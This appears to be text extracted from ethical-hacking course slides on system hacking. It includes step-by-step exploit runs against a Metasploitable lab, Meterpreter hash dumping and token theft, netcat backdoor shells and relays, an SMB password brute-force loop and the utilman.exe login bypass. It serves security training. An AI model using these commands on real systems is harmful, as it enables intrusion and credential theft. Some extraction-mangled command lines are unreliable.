6 - System Hacking Concepts
6 - System Hacking Concepts
6 - System Hacking Concepts
HACKING Payloads
Exploit Chaining
CONCEPTS High Profile Examples from 2022
System hacking is an attempt to break into a computer system that
you normally have no (or limited) access to
The goals of system hacking are typically to:
Access confidential data or restricted services
Obtain a password or credential that can be used elsewhere
Use the system as a “stepping stone” for further attacks into the network
Disrupt the system’s functionality
1. Gain access
Password cracking
OS vulnerabilities
Service and application vulnerabilities
Social Engineering
Physical access
2. Escalate privilege
Kernel or service flaws
Social Engineering
3. Execute applications
Pivot
Plant RATs
Run payloads
Exfiltrate data
4. Hide files
Leave malicious files on system
Steganography
Alternative Data Streams
5. Cover tracks
Remove artifacts
Clear logs and history
An exploit takes advantage of a weakness
It gets you into the system
The attacker must be prepared with a “handler” that listens for incoming connections
The attacker’s firewall must permit a connection to the incoming port
Exploit Chaining is the act of using multiple exploits to form a larger
attack
Success may depend on all exploits doing their part
Distributed nature makes them complex and difficult to defend
against
Some chained exploits must run consecutively
Some run in parallel
MS_17_010
Social Standard User Administrator
Eternal Blue PWN!
Engineering Account prompt
Attack
EXPLOITS
Windows, Linux, iOS and many applications are written in some variant of the C
programming language
C language vulnerabilities include:
No default bounds-checking
Susceptible to buffer overflows, arbitrary code execution, and privilege escalation
Developers often do not incorporate security best practices and unit testing
Operating systems come bundled with many features, utilities, code libraries, and
services that can have their own vulnerabilities
Installed applications can also add vulnerabilities to the OS
Missing or improper file system permissions
E.g. – FTP server allows anonymous authentication, along with write and delete file system
privileges on its default directory
Category Description
Remote code Any condition that allows attackers to execute arbitrary code
execution
Buffer or heap A programming error that allows attackers to overwrite allocated
overflow memory addresses with malicious code
Denial of service Any condition that allows attackers to use resources so that
legitimate requests can’t be served
Buffer
A condition when incoming data exceeds the size of the app’s buffer
Buffers are created to contain a finite amount of data
Extra information can cause an overflow into adjacent buffers, corrupting or
overwriting the valid data held in them
In a buffer overflow, a function’s return address is overwritten with a new pointer to
malicious code (usually shellcode)
1. When an application starts, it loads its code into memory
2. If some function of the app takes input, it will temporarily store that input into its
buffer
1. An area of memory designated for this purpose
2. The app uses it as a workspace
3. If the developer who created the app does not include bounds checking or other
input limits on that function, it is vulnerable to an overflow
1. An attacker can enter so much excess data that the buffer overflows
2. Malicious code spills into and takes over surrounding memory addresses
4. When an app’s function is called upon to do something:
1. It reads and act upon input in the buffer
2. When it is done it returns back to the address of the calling function
3. “I did what you asked. Now back to you”
5. If the return address has been overwritten with a malicious pointer, instead of
returning back to the original function, it executes the malicious code
Normal code (including return address) is overwritten by malicious code
When the called function is done (returns to the calling function) it does not go
back to the normal function but instead goes to the malicious function
This buffer can only
take 10 characters
The original function, having lost its working space, becomes unstable
The application developer must include bounds checking on any function that
accepts input
You can “fuzz test” an application (send it excessive random data) to see if it is
vulnerable
Will react in unexpected ways
Kali Linux
Metasploit
searchsploit
other tools
exploit-db.com / searchsploit
GitHub.com
www.exploitalert.com
Packetstormsecurity.com
Google!
PsExec - execute processes remotely
PsFile - shows files opened remotely
PsGetSid - display the SID of a computer or a user
PsInfo - list information about a system
PsPing - measure network performance
PsKill - kill processes by name or process ID
PsList - list detailed information about processes
PsLoggedOn - see who's logged on locally and via resource sharing
(full source is included)
PsLogList - dump event log records
PsPasswd - changes account passwords
PsService - view and control services
PsShutdown - shuts down and optionally reboots a computer
PsSuspend - suspends processes
PsUptime - shows you how long a system has been running since its
last reboot
PsUptime's functionality has been incorporated into PsInfo
Designed specifically
for hacking
Has many tools
Supports docker
Includes the searchsploit
utility
Download the exploit-db
database
Run script-based
exploits
Compile source code
with gcc or g++
Ships with Gnome-based Kali Linux
Can also be installed to run on Linux, macOS, Windows
Examine the results and choose an exploit you would like to try:
/unix/remote/49757.py
Note the exploit number 49757
Copy the exploit to your profile (rename if desired, but keep the extension)
cp /usr/share/exploitdb/exploits/unix/remote/49757.py pwn.py
Now you are ready to run the script or compile the source code!
searchsploit samba 2.2
cp /usr/share/exploitdb/exploits/multiple/remote/10.c ~/exploit.c
gcc -o samba exploit.c
chmod 755 samba
./samba -h
./samba -b 0 -c <attacker IP> <target IP>
Many exploits are available only in their source code format
Text file that must be compiled into an executable
Note: If the directory you are running the exploit from is not in your path
environment variable, you can indicate the current directory with ./
1. In Kali Linux, open a terminal
2. Update your copy of the Exploit-db database
searchsploit -u
3. Ping sweep to identify possible targets
nmap -sP 192.168.182.1-255
4. Metasploitable is a possible target. Use nmap to conduct port scan and identify
service versions
nmap -A 192.168.182.130
5. Nmap identifies the FTP service version as vsFTPd 2.3.4
6. Search Exploit-db.com for more information. Search returns a Python script:
vsftpd 2.3.4 - Backdoor Command Execution Python script exploit
7. See if you have an exploit for vsFTPd
searchsploit vsftpd
8. Searchsploit has the Python script at /unix/remote/49757.py
9. Get more information as well as the path to the exploit
searchsploit -p 49757
10. The path to the exploit is /usr/share/exploitdb/exploits/unix/remote/49757.py
11. Highlight and copy the path to the clipboard
12. Copy the exploit to your home page. You can rename the copy as you wish:
cp /usr/share/exploitdb/exploits/unix/remote/49757.py pwn.py
13. See if the exploit has built-in help
python ./pwn.py -h
14. The exploit only needs the address of the target
python ./pwn.py <target>
15. Run the exploit with the required argument
python ./pwn.py 192.168.182.130
16. You now have root access
You don’t see a prompt, but you can run commands
ls
whoami
pwd
6.5 Metasploit Framework
Search
METASPLOIT Selecting and Using Exploits
Open source version of Metasploit
Written mostly in Ruby
Modules are organized into categories
You can specify exact rank by name (rank:great) or by number with an operater (rank:gte500)
Search for a module, then use the info command, followed by the search result index
number or the full path to the module:
search dcom
info 4
info exploit/windows/dcerpc/ms03_026_dcom
Info will return:
Name and path of module
Platform
Rank
Available targets
Basic options
Description
and more
search windows
search exploit
search exploit vsftpd
search payload meterpreter
search auxiliary scanner
search post/windows
search type:post description
search name:Microsoft type:exploit rank:great
search platform:Windows type:exploit description:smb rank:excellent
search platform:Windows type:exploit description:dcom rank:gte600
The module path is the physical path to the module within the metasploit-framework directory
After you have selected an exploit:
show targets
show payloads
grep “reverse_tcp” show payloads
grep “meterpreter/reverse_tcp” show payloads
set payload windows/meterpreter/reverse_tcp
set payload 80
Search result
number
Exploits and payloads each have their own set of options
Some exploits will automatically choose a payload that you can change if desired
Some options have default values that you can change if desired
Some options require input from you
Typical options include:
RHOSTS (target IP)
RPORT (target port)
LHOST (listener host/handler)
LPORT (listener port)
SMBDomain (the domain or computer name - the default is “.” )
SMBUser (the user account you are using for the exploit)
SMBPass (the user’s password)
You can configure a reverse payload to connect back to a handler on:
the attacker
another machine
Convenient when you want to dedicate a machine to wait for reverse connections
Target
Attacker
192.168.1.5
192.168.1.100
Handler
192.168.1.200
Show options one last time to make sure you didn’t miss anything
show options
Then launch the exploit with either command:
exploit
run
Metasploit allows you to run multiple attacks on different targets simultaneously
An exploit will typically move you into a session as soon as you get it
You may wish to back out of that session
Leave it running in the background
Start another exploit against a different target
meterpreter > background
You can toggle between sessions
meterpreter > sessions <session ID>
You can also send a command to multiple sessions at once
sessions -C screenshot -i 2,3
sessions List all sessions you have acquired
sessions -h Get help with the sessions command
sessions -l List active sessions
sessions -i <session ID> Switch to a different session
Example - switch to session # 2: sessions -i 2
sessions -c <command> -i Run an OS shell command on multiple sessions at once
<session ID, session ID,…> Targets must have the same/compatible OS
Example: sessions -c "net user" -i 2,3
sessions -C <command> -i Run a meterpreter command against multiple sessions at once
<session ID, session ID, …> Example: sessions -C screenshot -i 2,3
sessions -k <session ID> Kill a session
Example – kill session # 2: sessions –k 2
sessions –K Kill all sessions
sessions –u <session ID> Upgrade a shell to meterpreter
Use when an exploit only gives you a shell
6.6 Meterpreter
Useful Commands
METERPRETER Examples
The “Gold Standard” of Metasploit payloads
Prefer to use when possible if you want an interactive shell
Might not be a payload choice for some exploits
Might not be stable for some targets - in this case choose a shell instead
Provides a “post exploit” interactive shell with over 100 available commands
Type ? at the meterpreter prompt to see all commands with descriptions
Core commands
File system commands
Networking commands
System commands
User Interface commands
Webcam commands
Audio output commands
Elevate commands
Password database commands
Timestomp commands (manipulate file timestamps)
help
search
The backslash is an escape character
Use double backslashes when giving the Windows path
Use a backslash in front of a space in the path
download
download <file> <path to save>
To recursively download an entire directory, use the download -r command
execute
Run a command on the victim
shell
Drop to the victim’s command prompt
webcam_list
List webcams
webcam_snap
Tell a webcam to take a picture
ps
Use to find a process ID (PID) or parent process ID (PPID)
migrate
Use to migrate meterpreter to another running process on the victim
You will need the target PID
hashdump
The output of each line is in the following format: Username:SID:LM hash:NTLM hash:::
run credcollect
Runs a script that dumps hashes as well as collects system tokens
getuid
Display the user that the Meterpreter server is running as on the target
getsystem
Attempt to elevate your current privilege to SYSTEM (higher than admin!)
sysinfo
Get information about the exploited target
Choose “bind” when you can connect directly to the victim’s back door
You must have a route to the target (same network is best)
Target’s firewall is dropped or permitting the RPORT
Example:
set payload windows/meterpreter/bind_tcp
No firewall in the way
:1234
:80
Choose “reverse” when you need the victim to make a connection back to you
Meterpreter will set up your handler (listener) as part of the payload options
You can set the handler to be a on different computer (LHOST) from your attacker machine
You can set the LPORT to be different from the default 4444
Make sure the victim’s reverse connection will not be blocked by your or their firewall
Set LPORT to 80 or 443
Make sure the LHOST is not already using the LPORT
Example (run on handler):
netstat -na
set lport 80
4444:
4444
4444:
80:
Some meterpreter commands might not execute well
Look for POST modules you can also run to do the desired task
Background your meterpreter session first before you search POST modules
After choosing a POST module, set the meterpreter session ID in its options
Meterpreter command hashdump isn’t working
Instead use post/windows/gather/smart_hashdump module
In this example meterpreter session is 5; smart_hashdump module is 13
background
sessions
search post hashdump
use 13
set session 5
run
Success!
Meterpreter allows you to pretend you are some other logged on user or running
process
You can then use that token in the context of that user or process
You will need SYSTEM privilege to do this
To impersonate a user:
getsystem
load incognito
list_tokens -u
impersonate_token <logged on user you want to impersonate>
Run these meterpreter commands to impersonate a user:
getsystem
load incognito
list_tokens -u
impersonate_token <logged on user you want to impersonate>
You can steal a token from a process launched by a user, SYSTEM, etc.
You will need to first identify a process you can stealfrom
Pay attention to the limits of the process/user
AND Spyware
SPYWARE
Record keys strokes of a individual computer keyboard or a network of computers
Can be used along with spyware to transmit what you type to a third party
Hardware-based
Inserted between keyboard and computer
PC/BIOS Embedded
Keyboard Keylogger
External Keylogger
PS/2 and USB adapters
Acoustic/CAM keylogger
Bluetooth Keylogger
Wi-Fi Keylogger
Kernel/Rootkit/Device Driver
Hypervisor-based
Form Grabbing-based
KeyCarbon
Keyllama
Keyboard logger
KeyGhost
KeyCobra
KEYKatcher
Metasploit payload module
All In One Keylogger
Free Keylogger
Spyrix Personal Monitor
SoftActivity Activity Monitor
Keylogger Spy Monitor
Micro Keylogger
REFOG keylogger
Realtime-Spy
StaffCop Standard
Use popup blockers and avoid opening junk email
Install anti-spyware/anti-virus programs, keep updated
Install software firewall and anti-keylogging software
Recognize phishing emails
Update and patch regularly
Install a host-based IDS
Use a password manager
Restrict physical access to sensitive computers
Visually inspect computers periodically
Zemana AntiLogger
GuardedID
KeyScrambler
SpyShelter Free Anti-Keylogger
DefenseWall HIPS
Elite Anti Keylogger
Watches and logs a user's action without the user's knowledge
Hide its process, files and other objects
Might redirect the user or browser, present malicious popups
Stores its activity log locally or in a central location
Steal passwords
Log keystrokes
Location tracking
Record desktop activity
Monitor email
Audio/Video surveillance
Record/monitor Internet activity
Record software usage/timings
Change browser settings
Change firewall settings
and more…
Agent Tesla
AzorUlt
TrickBot
Gator
Pegasus
Vidar
DarkHotel
Zlob
FlexiSpy
Cocospy
Mobistealth
“Zero-click” spyware – victim need not click anything to become infected
Can be delivered via infected app installers
The most powerful spyware created to date by a private company
Developed by the Israeli cyber-arms company NSO Group
A “lawful intercept” vendor
Sold to governments
Can be covertly installed on mobile phones (and other devices) running most
versions of iOS and Android
SCANGUARD BullGuard
PCPROTECT Kaspersky
Bitdefender ESET
Norton Panda
Avast F-Secure
McAfee ZoneAlarm
Modes
Syntax
Basic Features:
Port scan/banner grab
Act as a trojan backdoor (both forward and reverse)
Relay/redirect/proxy between hosts and ports
Transfer data Do not confuse netcat with ncat.
Act as a one-shot server (such as a webserver) Ncat is a similar tool with fewer
Act as a temporary chat server features that was inspired by netcat.
Client Mode
The client always initiates the connection to the listener
All the errors in client mode are put output as standard error
Client mode requires the IP address and port of the listener
Listener Mode
The listener is the server
It waits for a client to connect on its configured listening port
Its output can be standard output or a file
Client
Push infile to TargetIPadd on port:
nc -w3 [TargetIPaddr] [port] < [infile]
Listener
Listen on localport, prep to push infile:
nc -l -p [localport] < [infile]
Client
Connect to TargetIPadd on port and retrieve outfile:
nc -w3 [TargetIPaddr] [port] > [outfile]
Netcat’s most popular use by malicious users is to create a backdoor login shell
When the client connects, a command prompt on the listener opens
The attacker sees the command prompt via the Netcat session
Note that –e is used to execute the action after the connection is established
On the Listener:
nc –l –p 1234 –e cmd.exe > runme.sh
chmod 555 runme.sh
nohup ./ runme.sh &
The attacker sends an exploit to the victim
The payload is a netcat command that will make a connection back to the attacker
Settings\Accounts
Command prompt net user command
PowerShell cmdlets:
Get-LocalUser
New-LocalUser
Set-LocalUser
Enable-LocalUser
Disable-LocalUser
Rename-LocalUser
Remove-LocalUser
Local Windows groups are also stored in the SAM
Attackers are most interested in the local administrators group
You can use many of the same tools to administer both users and groups
Net localgroup command
PowerShell cmdlets:
Get-LocalGroup
Get-LocalGroupMember
Add-LocalGroupMember
Most exploits target software products or services that run on Windows
Exploit-db lists/provides 37 exploits that specifically target the Windows 10 OS
Github lists 705 repositories related to Windows exploits including:
PowerSploit - a well-known collection of malicious PowerShell post-exploitation functions
Gmh5225/awesome-RedTeam-Tools
IIS 5.0 • MS IIS 5.0 WebDAV ntdll.dll Path Overflow • Meta ms03_007_ntdll_webdav
WebDAV • CVE-2003-0109, MS03-007 • Exploit-DB 16470
Windows • Windows Unquoted Service Path Privilege Escalation Metasploit unquoted_service_path
(2001)
• No CVE
Null • NETBIOS/SMB share password is the default, null, or • Enum4Linux, getacct.exe
sessions missing • WinScanX, winfigerprint-x
• Allows anonymous connections to the IPC$ share • smb-enum-users.nse
• CVE 1999-0519 • smb-enum-shares.nse
PASSWORD Hashing
Password Attack Types
ATTACKS
Windows Security Accounts Manager (SAM)
C:\Windows\System32\config\
Prior to Windows 10, the SAM was encrypted by SYSKEY (128-bit RC4 encryption)
Since Windows 10, BitLocker disk encryption encrypts the SAM
Short passwords (e.g., 4-digit PIN) can be brute forced in a few seconds
Each additional character adds orders of magnitude to cracking time
Check how long it would take to crack a password:
https://www.security.org/how-secure-is-my-password/
Passwords are usually not stored in clear text
They are most likely stored in a hashed format
Hashes are one-way cryptographic functions that are not meant to be decrypted
To crack password hashes:
Obtain the password hashes
Determine the hashing algorithm
Hash each password you wish to try using the same algorithm
Compare your result to the stored hash
If they are the same, you found that password
A salt is additional random data added to a user’s password before it is hashed
It lengthens the password, making it harder to crack
Salts should be unique to each user, and never reused
Active online attacks
Dictionary
Brute forcing
Password spraying
Many password cracking tools
Hashdump
are multi-purpose
Keylogging
MITM
Offline attacks
Many online cracking tools can also work for offline cracking
Grab a copy of the password database/file and start cracking!
Physical access attack
Boot the system from a USB stick or CD
Use a tool such as CHNTPW to overwrite the area on disk that stores passwords
Non-electronic attacks
Social engineering - most effective
Shoulder surfing
Dumpster diving
Snooping around
Guessing
Rubber host (coercion)
A network-based attack
The attacker steals the hashed user credentials
Instead of providing the password, the hash is provided
You can use a hash dumper to retrieve hashes from a system’s
memory
Might not always work with use of Windows Defender Credential
Guard, Registry settings for UAC
Can be very slow and CPU intensive
Consider using a dedicated Graphics Processing Unit (GPU) to offload the work
Dedicated GPUs are designed to conduct complex mathematical functions extremely
quickly
Using a rainbow table (dictionary of pre-computed hashes) can dramatically speed
up password cracking
Dictionaries and rainbow tables can be very large in size
You can also upload the hash to an online service
Some are free
Some charge a fee
You want to build a workstation that will be used to brute force hash digests
Which of the following is the BEST option to ensure sufficient power and speed to
crack them?
Dedicated GPU
If you want to build a system to perform cracking of a password, hash, or
encryption algorithm, it is important to have a high-speed, dedicated GPU.
The reason to use a GPU instead of a CPU for password cracking is that it is much
faster for this mathematically intensive type of work.
Cracking passwords, hashes, and encryption is a lot like mining cryptocurrency in
that using dedicated GPUs will give you the best performance.
An attack in which a password cracking tool goes through a list of words (dictionary)
until it either
finds the password
exhausts the list
The hope is that a large enough dictionary contains the password because users
choose easy passwords
Researchers have spent years collating wordlists
Practical limitations:
Must know user name, though user names can also be in wordlists
Lists can become unwieldy in their size (1.5 billion words ≈ 15 GB uncompressed)
Lockout policies could significantly slow you down or lock the account
Can be online or offline
Steal copy of file or database containing credentials (offline cracking)
Induce system to dump hashed passwords
Intercept authentication and send to a password cracker
Run cracker against network service without lockout
Run cracker against accounts exempt from lockout (e.g., admin/root)
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://apasscracker.com/dictionaries/
https://github.com/topics/password-list
GitHub danielmiessler/SecLists
CeWL
crunch
cupp.py
pydictor
Dymerge
BlackArch Linux
Has 166 password cracking tools
GitHub
Has 24 password cracking tools
L0pht7
John-the-Ripper
Hashcat
Used if the dictionary does not contain the password
Tries combinations of characters until the password is found
Is the slowest and most resource intensive
Many password cracking tools include online brute forcing capabilities
Github lists 159 brute force password crackers
The term “brute forcing” is also often used to refer to a large dictionary attack
In this case, the dictionary attack is considered to be a specific type of brute force
attack
[ATTEMPT] target 192.168.1.142 – login “root” – pass “abcde” 1 of 10
[ATTEMPT] target 192.168.1.142 – login “root” – pass “efghi” 2 of 10
[ATTEMPT] target 192.168.1.142 – login “root” – pass “12345” 3 of 10
[ATTEMPT] target 192.168.1.142 – login “root” – pass “67890” 4 of 10
[ATTEMPT] target 192.168.1.142 – login “root” – pass “a1b2c” 5 of 10
[ATTEMPT] target 192.168.1.142 – login “user” – pass “abcde” 6 of 10
[ATTEMPT] target 192.168.1.142 – login “user” – pass “efghi” 7 of 10
[ATTEMPT] target 192.168.1.142 – login “user” – pass “12345” 8 of 10
[ATTEMPT] target 192.168.1.142 – login “user” – pass “67890” 9 of 10
[ATTEMPT] target 192.168.1.142 – login “user” – pass “a1b2c” 10 of 10
A Rainbow Table Attack is an attack in which passwords in the wordlist have been
pre-computed into their corresponding hashes, then compressed in a highly
efficient manner
Very fast with minimal computation, but at the cost of a very large table
A special “reduction function” is used to reduce the table size
A “chain” of hashes for one password can be used to quickly calculate variations of the
same password
The table ends up being smaller - you don’t need one-to-one hash-password storage
64 GB of a rainbow table can contain around 70 trillion hashes
64 GB of a wordlist can only contain around 6.5 billion passwords
Password crackers that can use rainbow tables include Ophcrack, RainbowCrack,
and mitre.org’s CAPEC
project-rainbowcrack.com
freerainbowtables.com
ophcrack.sourceforge.net/tables.php
rtgen
Winrtgen
Rainbow Tables Generation
(Github)
RainbowCrack
A brute force variant
The same password is “sprayed” across many accounts
As opposed to many passwords being tried against a single account
Hashcat
Advanced password recovery tool
Uses GPU to offload cracking
Currently supports 237 hash types
Also uses rules
clem9669 rules – Rules for hashcat or john
hashcat rules collection – Probably the largest collection of hashcat rules out there
Hob0Rules – Password cracking rules for Hashcat based on statistics and industry
patterns
Kaonashi – Wordlist, rules and masks from Kaonashi project (RootedCON 2019)
nsa-rules – Password cracking rules and masks for hashcat generated from cracked
passwords
nyxgeek-rules – Custom password cracking rules for Hashcat and John the Ripper
OneRuleToRuleThemAll – “One rule to crack all passwords. or atleast we hope so.”
pantagrule – Large hashcat rulesets generated from real-world compromised
passwords
RainbowCrack
Offline hash cracker that uses Rainbow tables
Metasploit modules
auxiliary/analyze/crack_windows
auxiliary/analyze/crack_mobile
post/windows/gather/hashdump
post/windows/gather/credentials/credential_collector
Cain & Abel
Windows software; Cracks hash passwords (LM, NTLM), sniff network packets for password,
sniff out for local stored passwords, etc.
L0pht
Paid software; Extract and crack hashes; Uses brute force or dictionary attack;
Ophcrack
Free open-source; Cracks Windows log-in passwords by using LM hashes through rainbow
tables.
Rainbowcrack
Rainbow tables generator for password cracking
Legion
Automates password guessing in NetBIOS sessions
Scans multiple IP address ranges for Windows shares
Also offers a manual dictionary attack tool
KerbCrack
Cracks Kerberos passwords
Mimikatz
Steals credentials and escalates privileges
Windows NTLM hashes and Kerberos tickets (Golden Ticket Attack)
'Pass-the-hash' and 'Pass-the-ticket’
fgdump
Dump SAM databases on Windows machines
Pwdump7
Dump SAM databases on Windows machines
You can offload some of the cracking load to:
Other computers
John the Ripper
CrackLord
Fitcrack
Hashtopolis
Kraken
Graphics card GPU
hashcat
Boot into another Operating System and overwrite existing password storage
6.13 WINDOWS Windows Password Cracking Options
CRACKING
Dump credentials from memory
LSA secrets, password hashes, tokens, copies of old passwords, locally cached login
information
Crack dumped hashes offline
Social engineering
(Aw come on, that’s not cracking!)
Intercept and crack credentials sent over the network
Passive sniffing
Man-in-the-Middle
Plain text password
LM, NTLM, NTLMv2, Kerberos
Social engineering
Bribery, coercion, shoulder surfing, MITM…
Introduced in Windows Server 2008 R2 and Windows 7 as a Control Panel feature
Used to store and manage user names and passwords
Lets users store credentials relevant to other systems and websites in the secure
Windows Vault
Some versions of Internet Explorer use this feature for authentication to websites
You can also use NirSoft VaultPasswordView to dump Windows Vault passwords
The Local Security Authority manages the Windows system’s local security policy
LSA secrets stores system sensitive data, such as:
User passwords (Internet Explorer, Windows Messenger, Dialup/VPN)
Internet Explorer and Windows Messenger passwords
Service account passwords (Services on the machine that require authentication with a
secret)
Cached domain password encryption key
SQL passwords
SYSTEM account passwords
Account passwords for configured scheduled tasks
Time left until the expiration of an inactivated copy of Windows
Access to the LSA secret storage is only granted to SYSTEM account processes
Metasploit post/windows/gather/lsa_secrets
Cain & Abel
Mimikatz
pwdump
LSAdump
Procdump
secretsdump.py
Creddump
CacheDump
QuarksDump
Gsecdump
hobocopy
Windows actually stores a user’s password hash twice
In LM and NT Hash formats
Both used by SAM and Active Directory for backward compatibility
LM
Specialized unsalted 56-bit DES one-way encryption (not a true hash)
Case-insensitive printable ASCII
14 characters exactly (shorter passwords are NULL padded become 14 characters)
Actual keyspace (possible character combinations) is reduced to 69
NT Hash
Unicode (keyspace is 65536 characters)
127 characters max
Unsalted MD4
1. The user's password is restricted to a maximum of fourteen characters
2. The user’s password is converted to uppercase
3. The user's password is encoded in the System OEM code page
Printable ASCII characters except DEL
8. The two 8-byte ciphertext values are combined to form a 16-byte value
This is the completed LM hash
Username SID LM Hash NT (NTLM) Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b9728a84efe05e76bda49646b6ec25bb:::
Cachedump
Samdump2
fgdump.exe
pwdump7.exe
Gsecdump
hobocopy
L0pht
Medusa
THC Hydra
Brutus
Wfuzz
NetBIOS Auditing Tool
Hashcat
“Based on the benchmark findings, a fully outfitted
John the Ripper password hashing rig with eight RTX 4090 GPUs would
have the computing power to cycle through all 200
L0phtCrack
billion iterations of an eight-character [NT hash]
Ophcrack password in 48 minutes.”
Rainbow Crack
Cain & Abel The same system can
can crack an LM password in about 15 seconds
Vssown.vbs
https://www.techspot.com/news/96328-security-researchers-show-off-rtx-4090-password-cracking.html
Tools to crack Syskey:
bkhive
bkreg (pre-Service Pack 4 machines)
Offline attacks:
Obtain a copy of the Active Directory database (ntds.dit)
Attempt to crack the stored NT Hashes
Tools include:
ntdsutil.exe
VSSAdmin
PowerSploit NinjaCopy
DSInternals PowerShell module
ntds_dump_hash.zip
Metasploit modules:
post/windows/gather/ntds_location
post/windows/gather/ntds_grabber
Mimikatz
PowerSploit
John the Ripper
Hashcat
Kerberoasting tool kit
https://github.com/nidem/kerberoast
Empire
Impacket
Metasploit module auxiliary/gather/get_user_spns
Active Directory permits users to authenticate to their computer using cached
domain credentials
This is useful for telecommuters and users who do not have access to the corporate
network when they first log on to their laptop
The default policy permits 10 logons using cached credentials
After that, the user must actually authenticate against a domain controller
CRACKING
Attack Method Tools
Brute force service passwords • John the Ripper
SSH, telnet, FTP, HTTP, Samba, VNC, etc. • Medusa
• THC Hydra
• Ncrack
• Crowbar
• Metasploit auxiliary/scanner modules
• Copy /etc/passwd and /etc/shadow files • John the Ripper
• Unshadow (combine) the copies • Medusa
• Send combined copy to a password • THC Hydra
cracker • Ncrack
• Crowbar
Attack Method Tools
Dump hashes from a compromised machine • Metasploit module
Send hashes to a password cracker post/linux/gather/hashdump
• John the Ripper
• RainbowCrack
• Hashcat
Dump cleartext passwords currently stored in • Mimipenguin (GitHub)
memory
Pass the hash if passwords take too long to • Metasploit module
crack auxiliary/scanner/smb/smb_login
Works particularly well against Samba with
LM or NTLM authentication
Attack Method Tools
Install a physical or software based keylogger • Meterpreter keyscan_start and
keyscan_dump commands
• USB keyloggers
Use social engineering to obtain user • Kali Social Engineering Toolkit (SET)
passwords • WiFi-Pumpkin
Boot the target computer into single user • Reboot and edit GRUB to enter single user
mode to reset the root password mode
• Change the root password
6.15 OTHER
METHODS FOR Additional Password Attacks
Network Password Attacks
OBTAINING Physical Attacks
PASSWORDS
Use privileges from buffer overflow, etc., to create a new account
Impersonate a user token:
Meterpreter steal_token command
Formerly Incognito
Social engineering:
Phishing
Eavesdropping / shoulder surfing / dumpster diving
Kali Social Engineering Toolkit (SET)
WiFi-Pumpkin
Bribery / persuasion
Coercion (Rubber Hose Attack!)
Boot into another Operating System and overwrite existing password storage
CHNTPW
Ultimate Boot CD for Windows
BartPE
Offline NT Password & Registry Editor
http://pogostick.net/~pnh/ntpasswd/
Use a sniffer such as Wireshark
Capture clear text credentials
Only works if the sniffer is on the same shared network segment
Use an ARP poisoner such as ettercap to capture login session
Use Wireshark to capture clear text passwords
Use Cain & Abel to ARP poison, capture and crack password hash
Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS)
are local Microsoft name resolution mechanisms
Used when DNS lookups fail
NBT-NS is legacy
Broadcast-based
https://www.techspot.com/downloads/6967-chntpw.html
Replace utilman.exe with cmd.exe to obtain a system level command prompt without
logging in
1. Boot from an alternate OS or a Windows installation disk/USB stick
2. At first screen press Shift+F10 to open a command prompt.
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Restart
6. At the login screen, launch accessibility options
Click icon
Or press Windows key + U
Refer to /etc/services text file for common well-known ports and their services
Windows: %systemroot%\system32\drivers\etc\services
Use nmap -A to scan to interrogate ports and their listening services for their
version
Then research exploits for that version
Performed by directly communicating with the victim's machine
Includes:
Dictionary and Brute-force attacks
hash injections
installation via social engineering
Trojans
spyware
keyloggers
password guessing
Service TCP Port
FTP 21, 20
Telnet 23
SMTP 25
HTTP 80
POP3 110
IMAPv4 143
NetBIOS/SMB/WinLogon 139, 445
SQLnet 1521
Service UDP Port
DNS 53
TFTP 69
SNMP 161, 162
RADIUS 1812
Sniff the network in hopes of intercepting a password (clear text or hash)
Passive sniffing or MITM
Tools for intercepting passwords:
Cain and Abel
ARP poisoner and password cracker
Ettercap
MITM ARP poisoner
KerbCrack
Built-in sniffer and password cracker
Looks for Kerberos Port 88 traffic
ScoopLM
Specifically looks for Windows authentication traffic
Has a built-in password cracker
Users regularly log into network services
Network services often store user credentials in the operating system
Services are integrated into the OS
Many services do not maintain their own usernames/passwords
They use operating system accounts
Once cracked, the credentials can be used to log in directly to the OS or against other
network services
Target a user account that cannot be locked out, such as administrator or root
An administrator might also configure a service account to never be locked out
Service Port
FTP 20/21
SSH 22
TELNET 23
SMTP 25
HTTP 80
POP3 110
IMAPv4 143
NetBIOS, SMBv1, LSASS 139,445
SNMP 161,162
MSSQL 1433
SQLnet 1521
RDP 3389
THC-Hydra
Medusa
Ncrack
AET2 Brutus
L0phtCrack
Metasploit auxiliary/scanner modules
1. Create credentials.txt text file of possible usernames/passwords
administrator “”
administrator password
administrator P@ssw0rd
administrator Pa22w0rd
administrator admin
2. Use a FOR loop to discover which is correct
FOR /F “tokens=1,2*” %i in (credentials.txt)^
do net use \\server\IPC$ %j /u:company.com\%i^
2>>nul^
&& echo %time% %date% >> outfile.txt^
%% echo \\server acct: %i pass: %j >> outfile.txt
6.17 POST Privilege Escalation
Example:
C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe
The path to the executable is interpreted as follows:
C:\Program.exe
C:\Program Files\A.exe
C:\Program Files\A Subfolder\B.exe
C:\Program Files\A Subfolder\B Subfolder\C.exe
C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe
Note: You will be limited to using Metasploit modules only to attack internal targets
Netcat can be configured to bounce an attack from machine to machine, or from port to
port within the same machine
It involves setting up both a Netcat listener and a Netcat client on the same machine
The traffic is passed between the two Netcat processes
You can relay:
Traffic between ports on the same machine
Traffic from a client on the attacker, through the relay, to a listener on the target
Traffic between two clients as a meet-in-the-middle relay
You must enable Netcat on the relay machines and the target
You create a daisy chain of Netcat instances
Each Netcat listener launches another Netcast instance which will be the client to the
next listener
Until we get to the final listener on the target
C L C L C L
1. Find a way to install Netcat on Microsoft IIS 5.0 (e.g. Unicode exploit)
:135 DCOM
2. Configure Netcat to listen on port 80
“Cut in front of” the web service, intercepting any traffic sent to that port
:135 DCOM
3. Configure the Netcat listener to relay traffic to another instance of Netcat, a client that
will forward the traffic to TCP 135 (DCOM service using RPC)
:135 DCOM
4. Use Metasploit to send a buffer overflow ms03_026_dcom to port 80.
Attack passes through the firewall and is relayed to the DCOM service on port 135
ms03_026_dcom
:80 L IIS
:135 DCOM
4. SCORE!!!
:80 L IIS
:135 DCOM
1. Create a relay that sends packets from the localport to a Netcat client connected
to TargetIPAddr on the port
2. On the relay, when the attacker connects to the nc listener, the listener launches
a client to the target listener
3. Set up relay client, then listener
C:\>echo nc 10.1.2.3 445 > relay.bat
C:\>nc -L -p 80 -e relay.bat Target
Relay
:80 :445
C L C L
1. Create a relay that will send packets from any connection on Localport1 to any
connection on Localport2
